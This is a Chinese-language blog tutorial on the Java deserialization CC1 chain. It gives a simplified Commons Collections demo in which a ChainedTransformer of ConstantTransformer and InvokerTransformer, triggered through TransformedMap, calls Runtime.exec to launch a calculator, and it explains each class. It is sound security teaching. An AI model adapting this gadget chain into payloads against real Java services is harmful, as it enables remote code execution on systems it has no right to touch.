跳转至
#java  #java安全  #反序列化 
本文阅读量 

反序列化篇3#

CC1#

这篇文章主要是讲解了CC1链的本质,让读者能够更容易地明白。
这里P牛的pdf已经写的很好了,就稍微总结一下。

这个是P牛简化过的代码,执行后将会弹计算器(需要稍微修改下代码,如package,/System/Applications/Calculator.app/Contents/MacOS/Calculator):

package com.govuln.deserialization;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsIntro {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }
}

这里需要学习的就是几个新的类。

理解类#

TransformedMap#

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将执⾏⼀个回调。我们通过下面这行代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);

Transformer#

Transformer是⼀个接口,它只有⼀个待实现的方法transform,TransformedMap在转换新元素时,就会调用Transformer中的transform方法。

ConstantTransformer#

ConstantTransformer是实现了Transformer接⼝的⼀个类,其构造函数是接收一个对象并存储,在transform时将该对象返回

public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn;
}
public Object transform(Object input) { return iConstant;
}

InvokerTransformer#

InvokerTransformer是实现了Transformer接口的⼀个类,这个类可以用来执行任意方法,这也是反序列化能执行任意代码的关键。

构造方法如下:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

transform方法如下,执行了input对象的iMethodName方法:
public Object transform(Object input) {
if (input == null) {
    return null;
} try {
    Class cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes); 
    return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
    // ...
}

ChainedTransformer#

ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串 在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊,我们画⼀个图做示意:

理解Demo#

当我们理解上面几个类的作用之后,Demo的代码就非常容易理解了,其实际上分为以下几个步骤:
1. 创建了一个链式的Transformer(ChainedTransformer),其中包含了两个Transformer(ConstantTransformerInvokerTransformer),目的是为了执行Runtime.exec方法
2. 创建HashMap实例,并用TransformedMap.decorate来包装HashMap,当发生value转换的时候回调ChainedTransformer
3. 使用HashMap.out方法往Map中放入新元素,触发回调

回到页面顶部